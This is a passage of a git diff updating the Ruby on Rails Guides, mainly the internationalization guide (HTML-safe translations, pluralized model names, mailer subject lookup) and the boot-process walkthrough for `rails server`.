+Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. When you use them in views the HTML will not be escaped.
```yaml
# config/locales/en.yml
@@ -656,56 +674,25 @@ en:
<div><%= t('title.html') %></div>
```
-![i18n demo html safe](images/i18n/demo_html_safe.png)
-
-How to Store your Custom Translations
--------------------------------------
-
-The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
-
-For example a Ruby Hash providing translations can look like this:
-
-```ruby
-{
- pt: {
- foo: {
- bar: "baz"
- }
- }
-}
-```
-
-The equivalent YAML file would look like this:
+Interpolation escapes as needed though. For example, given:
-```ruby
-pt:
- foo:
- bar: baz
+```yaml
+en:
+ welcome_html: "<b>Welcome %{username}!</b>"
```
-As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
-
-Here is a "real" example from the Active Support `en.yml` translations YAML file:
+you can safely pass the username as set by the user:
-```ruby
-en:
- date:
- formats:
- default: "%Y-%m-%d"
- short: "%b %d"
- long: "%B %d, %Y"
+```erb
+<%# This is safe, it is going to be escaped if needed. %>
+<%= t('welcome_html', username: @current_user.username %>
```
-So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+Safe strings on the other hand are interpolated verbatim.
-```ruby
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', scope: :date
-I18n.t :short, scope: 'date.formats'
-I18n.t :short, scope: [:date, :formats]
-```
+NOTE: Automatic conversion to HTML safe translate text is only available from the `translate` view helper method.
-Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+![i18n demo html safe](images/i18n/demo_html_safe.png)
### Translations for Active Record Models
@@ -713,7 +700,7 @@ You can use the methods `Model.model_name.human` and `Model.human_attribute_name
For example when you add the following translations:
-```ruby
+```yaml
en:
activerecord:
models:
@@ -726,6 +713,32 @@ en:
Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle".
+You can also set a plural form for model names, adding as following:
+
+```yaml
+en:
+ activerecord:
+ models:
+ user:
+ one: Dude
+ other: Dudes
+```
+
+Then `User.model_name.human(count: 2)` will return "Dudes". With `count: 1` or without params will return "Dude".
+
+In the event you need to access nested attributes within a given model, you should nest these under `model/attribute` at the model level of your translation file:
+
+```yaml
+en:
+ activerecord:
+ attributes:
+ user/gender:
+ female: "Female"
+ male: "Male"
+```
+
+Then `User.human_attribute_name("gender.female")` will return "Female".
+
#### Error Message Scopes
Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
@@ -788,7 +801,7 @@ This way you can provide special translations for various error messages at diff
The translated model name, translated attribute name, and value are always available for interpolation.
-So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
+So, for example, instead of the default error message `"cannot be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`.
* `count`, where available, can be used for pluralization if present:
@@ -797,6 +810,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
| confirmation | - | :confirmation | - |
| acceptance | - | :accepted | - |
| presence | - | :blank | - |
+| absence | - | :present | - |
| length | :within, :in | :too_short | count |
| length | :within, :in | :too_long | count |
| length | :is | :wrong_length | count |
@@ -813,6 +827,7 @@ So, for example, instead of the default error message `"can not be blank"` you c
| numericality | :equal_to | :equal_to | count |
| numericality | :less_than | :less_than | count |
| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count |
+| numericality | :only_integer | :not_an_integer | - |
| numericality | :odd | :odd | - |
| numericality | :even | :even | - |
@@ -837,21 +852,61 @@ en:
NOTE: In order to use this helper, you need to install [DynamicForm](https://github.com/joelmoss/dynamic_form)
gem by adding this line to your Gemfile: `gem 'dynamic_form'`.
+### Translations for Action Mailer E-Mail Subjects
+
+If you don't pass a subject to the `mail` method, Action Mailer will try to find
+it in your translations. The performed lookup will use the pattern
+`<mailer_scope>.<action_name>.subject` to construct the key.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+ def welcome(user)
+ #...
+ end
+end
+```
+
+```yaml
+en:
+ user_mailer:
+ welcome:
+ subject: "Welcome to Rails Guides!"
+```
+
+To send parameters to interpolation use the `default_i18n_subject` method on the mailer.
+
+```ruby
+# user_mailer.rb
+class UserMailer < ActionMailer::Base
+ def welcome(user)
+ mail(to: user.email, subject: default_i18n_subject(user: user.name))
+ end
+end
+```
+
+```yaml
+en:
+ user_mailer:
+ welcome:
+ subject: "%{user}, welcome to Rails Guides!"
+```
+
### Overview of Other Built-In Methods that Provide I18n Support
Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
#### Action View Helper Methods
-* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations.
+* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L4) translations.
-* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83) scope if applicable.
+* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionview/lib/action_view/locale/en.yml#L39) scope if applicable.
-* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope.
+* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L37) scope.
#### Active Model Methods
-* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L36) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
@@ -859,14 +914,63 @@ Rails uses fixed strings and other localizations, such as format strings and oth
#### Active Support Methods
-* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope.
+* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L33) scope.
+
+How to Store your Custom Translations
+-------------------------------------
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2]
+
+For example a Ruby Hash providing translations can look like this:
+
+```yaml
+{
+ pt: {
+ foo: {
+ bar: "baz"
+ }
+ }
+}
+```
+
+The equivalent YAML file would look like this:
+
+```yaml
+pt:
+ foo:
+ bar: baz
+```
+
+As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz".
+
+Here is a "real" example from the Active Support `en.yml` translations YAML file:
+
+```yaml
+en:
+ date:
+ formats:
+ default: "%Y-%m-%d"
+ short: "%b %d"
+ long: "%B %d, %Y"
+```
+
+So, all of the following equivalent lookups will return the `:short` date format `"%b %d"`:
+
+```ruby
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', scope: :date
+I18n.t :short, scope: 'date.formats'
+I18n.t :short, scope: [:date, :formats]
+```
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
Customize your I18n Setup
-------------------------
### Using Different Backends
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but cannot dynamically store them to any format.
That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
@@ -893,11 +997,11 @@ ReservedInterpolationKey # the translation contains a reserved interpolation
UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
```
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception's error message string containing the missing key/scope.
The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
-In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
+In other contexts you might want to change this behavior, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method:
```ruby
module I18n
@@ -927,7 +1031,7 @@ else
end
```
-Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
+Another example where the default behavior is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`.
To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option:
@@ -946,9 +1050,9 @@ If you find anything missing or wrong in this guide, please file a ticket on our
Contributing to Rails I18n
--------------------------
-I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in gems and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
+Thus we encourage everybody to experiment with new ideas and features in gems or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!))
If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests).
@@ -956,10 +1060,9 @@ If you find your own locale (language) missing from our [example translations da
Resources
---------
-* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki).
* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list.
-* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
-* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
+* [GitHub: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases.
+* [GitHub: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem.
* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project.
* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem.
@@ -976,7 +1079,7 @@ If you found this guide useful, please consider recommending its authors on [wor
Footnotes
---------
-[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization:) _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+[^1]: Or, to quote [Wikipedia](http://en.wikipedia.org/wiki/Internationalization_and_localization): _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
[^2]: Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
diff --git a/guides/source/index.html.erb b/guides/source/index.html.erb
index a8e4525c67..2fdf18a2e9 100644
--- a/guides/source/index.html.erb
+++ b/guides/source/index.html.erb
@@ -9,6 +9,7 @@ Ruby on Rails Guides
<% content_for :index_section do %>
<div id="subCol">
<dl>
+ <dt></dt>
<dd class="kindle">Rails Guides are also available for <%= link_to 'Kindle', @mobi %>.</dd>
<dd class="work-in-progress">Guides marked with this icon are currently being worked on and will not be available in the Guides Index menu. While still useful, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections.</dd>
</dl>
@@ -19,7 +20,7 @@ Ruby on Rails Guides
<h3><%= section['name'] %></h3>
<dl>
<% section['documents'].each do |document| %>
- <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %>
+ <%= guide(document['name'], document['url'], work_in_progress: document['work_in_progress']) do %>
<p><%= document['description'] %></p>
<% end %>
<% end %>
diff --git a/guides/source/initialization.md b/guides/source/initialization.md
index 32df508f9c..53bf3039fa 100644
--- a/guides/source/initialization.md
+++ b/guides/source/initialization.md
@@ -7,14 +7,17 @@ as of Rails 4. It is an extremely in-depth guide and recommended for advanced Ra
After reading this guide, you will know:
* How to use `rails server`.
+* The timeline of Rails' initialization sequence.
+* Where different files are required by the boot sequence.
+* How the Rails::Server interface is defined and used.
--------------------------------------------------------------------------------
This guide goes through every method call that is
required to boot up the Ruby on Rails stack for a default Rails 4
application, explaining each part in detail along the way. For this
-guide, we will be focusing on what happens when you execute +rails
-server+ to boot your app.
+guide, we will be focusing on what happens when you execute `rails server`
+to boot your app.
NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
@@ -26,128 +29,51 @@ quickly.
Launch!
-------
-A Rails application is usually started with the command `rails server`.
+Let's start to boot and initialize the app. A Rails application is usually
+started by running `rails console` or `rails server`.
-### `bin/rails`
-
-The actual `rails` command is kept in _bin/rails_:
-
-```ruby
-#!/usr/bin/env ruby
-
-if File.exists?(File.join(File.expand_path('../../..', __FILE__), '.git'))
- railties_path = File.expand_path('../../lib', __FILE__)
- $:.unshift(railties_path)
-end
-require "rails/cli"
-```
-
-This file will first attempt to push the `railties/lib` directory if
-present, and then requires `rails/cli`.
-
-### `railties/lib/rails/cli.rb`
-
-This file looks like this:
-
-```ruby
-require 'rbconfig'
-require 'rails/script_rails_loader'
-
-# If we are inside a Rails application this method performs an exec and thus
-# the rest of this script is not run.
-Rails::ScriptRailsLoader.exec_script_rails!
-
-require 'rails/ruby_version_check'
-Signal.trap("INT") { puts; exit(1) }
-
-if ARGV.first == 'plugin'
- ARGV.shift
- require 'rails/commands/plugin_new'
-else
- require 'rails/commands/application'
-end
-```
-
-The `rbconfig` file from the Ruby standard library provides us with the `RbConfig` class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in `railties/lib/rails/script_rails_loader`.
-
-```ruby
-require 'pathname'
-
-module Rails
- module ScriptRailsLoader
- RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
- SCRIPT_RAILS = File.join('script', 'rails')
- ...
-
- end
-end
-```
-
-The `rails/script_rails_loader` file uses `RbConfig::Config` to obtain the `bin_dir` and `ruby_install_name` values for the configuration which together form the path to the Ruby interpreter. The `RbConfig::CONFIG["EXEEXT"]` will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in `exec_script_rails!`. As for the `SCRIPT_RAILS` constant, we'll see that when we get to the `in_rails_application?` method.
+### `railties/bin/rails`
-Back in `rails/cli`, the next line is this:
+The `rails` in the command `rails server` is a ruby executable in your load
+path. This executable contains the following lines:
```ruby
-Rails::ScriptRailsLoader.exec_script_rails!
+version = ">= 0"
+load Gem.bin_path('railties', 'rails', version)
```
-This method is defined in `rails/script_rails_loader`:
+If you try out this command in a Rails console, you would see that this loads
+`railties/bin/rails`. A part of the file `railties/bin/rails.rb` has the
+following code:
```ruby
-def self.exec_script_rails!
- cwd = Dir.pwd
- return unless in_rails_application? || in_rails_application_subdirectory?
- exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
- Dir.chdir("..") do
- # Recurse in a chdir block: if the search fails we want to be sure
- # the application is generated in the original working directory.
- exec_script_rails! unless cwd == Dir.pwd
- end
-rescue SystemCallError
- # could not chdir, no problem just return
-end
+require "rails/cli"
```
-This method will first check if the current working directory (`cwd`) is a Rails application or a subdirectory of one. This is determined by the `in_rails_application?` method:
+The file `railties/lib/rails/cli` in turn calls
+`Rails::AppRailsLoader.exec_app_rails`.
-```ruby
-def self.in_rails_application?
- File.exists?(SCRIPT_RAILS)
-end
-```
+### `railties/lib/rails/app_rails_loader.rb`
-The `SCRIPT_RAILS` constant defined earlier is used here, with `File.exists?` checking for its presence in the current directory. If this method returns `false` then `in_rails_application_subdirectory?` will be used:
+The primary goal of the function `exec_app_rails` is to execute your app's
+`bin/rails`. If the current directory does not have a `bin/rails`, it will
+navigate upwards until it finds a `bin/rails` executable. Thus one can invoke a
+`rails` command from anywhere inside a rails application.
-```ruby
-def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
- File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
-end
-```
-
-This climbs the directory tree until it reaches a path which contains a `script/rails` file. If a directory containing this file is reached then this line will run:
+For `rails server` the equivalent of the following command is executed:
-```ruby
-exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
+```bash
+$ exec ruby bin/rails server
```
-This is effectively the same as running `ruby script/rails [arguments]`, where `[arguments]` at this point in time is simply "server".
-
-Rails Initialization
---------------------
-
-Only now we finally start the real initialization process, beginning
-with `script/rails`.
-
-TIP: If you execute `script/rails` directly from your Rails app you will
-skip executing all the code that we've just described.
-
-### `script/rails`
+### `bin/rails`
This file is as follows:
```ruby
-APP_PATH = File.expand_path('../../config/application', __FILE__)
-require File.expand_path('../../config/boot', __FILE__)
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application', __FILE__)
+require_relative '../config/boot'
require 'rails/commands'
```
@@ -161,47 +87,46 @@ The `APP_PATH` constant will be used later in `rails/commands`. The `config/boot
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
```
In a standard Rails application, there's a `Gemfile` which declares all
dependencies of the application. `config/boot.rb` sets
`ENV['BUNDLE_GEMFILE']` to the location of this file. If the Gemfile
-exists, `bundler/setup` is then required.
-
-The gems that a Rails 4 application depends on are as follows:
-
-TODO: change these when the Rails 4 release is near.
-
-* abstract (1.0.0)
-* actionmailer (4.0.0.beta)
-* actionpack (4.0.0.beta)
-* activemodel (4.0.0.beta)
-* activerecord (4.0.0.beta)
-* activesupport (4.0.0.beta)
-* arel (2.0.7)
-* builder (3.0.0)
-* bundler (1.0.6)
-* erubis (2.6.6)
-* i18n (0.5.0)
-* mail (2.2.12)
-* mime-types (1.16)
-* polyglot (0.3.1)
-* rack (1.2.1)
-* rack-cache (0.5.3)
-* rack-mount (0.6.13)
-* rack-test (0.5.6)
-* rails (4.0.0.beta)
-* railties (4.0.0.beta)
-* rake (0.8.7)
-* sqlite3-ruby (1.3.2)
-* thor (0.14.6)
-* treetop (1.4.9)
-* tzinfo (0.3.23)
+exists, then `bundler/setup` is required. The require is used by Bundler to
+configure the load path for your Gemfile's dependencies.
+
+A standard Rails application depends on several gems, specifically:
+
+* actionmailer
+* actionpack
+* actionview
+* activemodel
+* activerecord
+* activesupport
+* arel
+* builder
+* bundler
+* erubis
+* i18n
+* mail
+* mime-types
+* rack
+* rack-cache
+* rack-mount
+* rack-test
+* rails
+* railties
+* rake
+* sqlite3
+* thor
+* tzinfo
### `rails/commands.rb`
-Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:
+Once `config/boot.rb` has finished, the next file that is required is
+`rails/commands`, which helps in expanding aliases. In the current case, the
+`ARGV` array simply contains `server` which will be passed over:
```ruby
ARGV << '--help' if ARGV.empty?
@@ -217,36 +142,72 @@ aliases = {
command = ARGV.shift
command = aliases[command] || command
+
+require 'rails/commands/commands_tasks'
+
+Rails::CommandsTasks.new(ARGV).run_command!(command)
```
TIP: As you can see, an empty ARGV list will make Rails show the help
snippet.
-If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:
+If we had used `s` rather than `server`, Rails would have used the `aliases`
+defined here to find the matching command.
+
+### `rails/commands/command_tasks.rb`
+
+When one types an incorrect rails command, the `run_command` is responsible for
+throwing an error message. If the command is valid, a method of the same name
+is called.
+
+```ruby
+COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help)
+
+def run_command!(command)
+ command = parse_command(command)
+ if COMMAND_WHITELIST.include?(command)
+ send(command)
+ else
+ write_error_message(command)
+ end
+end
+```
+
+With the `server` command, Rails will further run the following code:
```ruby
-when 'server'
- # Change to the application's path if there is no config.ru file in current dir.
- # This allows us to run script/rails server from other directories, but still get
- # the main config.ru and properly set the tmp directory.
- Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+def set_application_directory!
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+end
+
+def server
+ set_application_directory!
+ require_command!("server")
- require 'rails/commands/server'
- Rails::Server.new.tap { |server|
+ Rails::Server.new.tap do |server|
# We need to require application after the server sets environment,
# otherwise the --environment option given to the server won't propagate.
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
- }
+ end
+end
+
+def require_command!(command)
+ require "rails/commands/#{command}"
+end
```
-This file will change into the root of the directory (a path two directories back from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class.
+This file will change into the Rails root directory (a path two directories up
+from `APP_PATH` which points at `config/application.rb`), but only if the
+`config.ru` file isn't found. This then requires `rails/commands/server` which
+sets up the `Rails::Server` class.
```ruby
require 'fileutils'
require 'optparse'
require 'action_dispatch'
+require 'rails'
module Rails
class Server < ::Rack::Server
@@ -257,11 +218,11 @@ module Rails
### `actionpack/lib/action_dispatch.rb`
Action Dispatch is the routing component of the Rails framework.
-It adds functionalities like routing, session, and common middlewares.
+It adds functionality like routing, session, and common middlewares.
### `rails/commands/server.rb`
-The `Rails::Server` class is defined in this file as inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:
+The `Rails::Server` class is defined in this file by inheriting from `Rack::Server`. When `Rails::Server.new` is called, this calls the `initialize` method in `rails/commands/server.rb`:
```ruby
def initialize(*)
@@ -310,10 +271,10 @@ def parse_options(args)
options = default_options
# Don't evaluate CGI ISINDEX parameters.
- # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+ # http://www.meb.uni-bonn.de/docs/cgi/cl.html
args.clear if ENV.include?("REQUEST_METHOD")
- options.merge! opt_parser.parse! args
+ options.merge! opt_parser.parse!(args)
options[:config] = ::File.expand_path(options[:config])
ENV["RACK_ENV"] = options[:environment]
options
@@ -324,18 +285,21 @@ With the `default_options` set to this:
```ruby
def default_options
+ environment = ENV['RACK_ENV'] || 'development'
+ default_host = environment == 'development' ? 'localhost' : '0.0.0.0'
+
{
- :environment => ENV['RACK_ENV'] || "development",
+ :environment => environment,
:pid => nil,
:Port => 9292,
- :Host => "0.0.0.0",
+ :Host => default_host,
:AccessLog => [],
:config => "config.ru"
}
end
```
-There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`
+There is no `REQUEST_METHOD` key in `ENV` so we can skip over that line. The next line merges in the options from `opt_parser` which is defined plainly in `Rack::Server`:
```ruby
def opt_parser
@@ -363,43 +327,50 @@ set earlier) is required.
### `config/application`
-When `require APP_PATH` is executed, `config/application.rb` is loaded.
-This file exists in your app and it's free for you to change based
-on your needs.
+When `require APP_PATH` is executed, `config/application.rb` is loaded (recall
+that `APP_PATH` is defined in `bin/rails`). This file exists in your application
+and it's free for you to change based on your needs.
### `Rails::Server#start`
-After `config/application` is loaded, `server.start` is called. This method is defined like this:
+After `config/application` is loaded, `server.start` is called. This method is
+defined like this:
```ruby
def start
- url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
- puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
- puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
- puts "=> Call with -d to detach" unless options[:daemonize]
+ print_boot_information
trap(:INT) { exit }
- puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+ create_tmp_directories
+ log_to_stdout if options[:log_stdout]
+
+ super
+ ...
+end
+
+private
+
+ def print_boot_information
+ ...
+ puts "=> Run `rails server -h` for more startup options"
+ ...
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+ end
- #Create required tmp directories if not found
- %w(cache pids sessions sockets).each do |dir_to_make|
- FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+ def create_tmp_directories
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+ end
end
- unless options[:daemonize]
+ def log_to_stdout
wrapped_app # touch the app so the logger is set up
console = ActiveSupport::Logger.new($stdout)
console.formatter = Rails.logger.formatter
+ console.level = Rails.logger.level
Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
end
-
- super
-ensure
- # The '-h' option calls exit before @options is set.
- # If we call 'options' with it unset, we get double help banners.
- puts 'Exiting' unless @options && options[:daemonize]
-end
```
This is where the first output of the Rails initialization happens. This
@@ -458,7 +429,7 @@ end
The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
we're going to explore more (even though it was executed before, and
-thus memorized by now).
+thus memoized by now).
```ruby
@wrapped_app ||= build_app app
@@ -468,7 +439,11 @@ The `app` method here is defined like so:
```ruby
def app
- @app ||= begin
+ @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+ def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end
@@ -477,7 +452,10 @@ def app
self.options.merge! options
app
end
-end
+
+ def build_app_from_string
+ Rack::Builder.new_from_string(self.options[:builder])
+ end
```
The `options[:config]` value defaults to `config.ru` which contains this:
@@ -485,7 +463,7 @@ The `options[:config]` value defaults to `config.ru` which contains this:
```ruby
# This file is used by Rack-based servers to start the application.
-require ::File.expand_path('../config/environment', __FILE__)
+require ::File.expand_path('../config/environment', __FILE__)
run <%= app_const %>
```
@@ -493,25 +471,42 @@ run <%= app_const %>
The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
```ruby
-app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
- TOPLEVEL_BINDING, config
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+ eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+ TOPLEVEL_BINDING, file, 0
+end
```
The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
```ruby
-require ::File.expand_path('../config/environment', __FILE__)
+require ::File.expand_path('../config/environment', __FILE__)
```
### `config/environment.rb`
This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
-This file begins with requiring `config/application.rb`.
+This file begins with requiring `config/application.rb`:
+
+```ruby
+require File.expand_path('../application', __FILE__)
+```
### `config/application.rb`
-This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
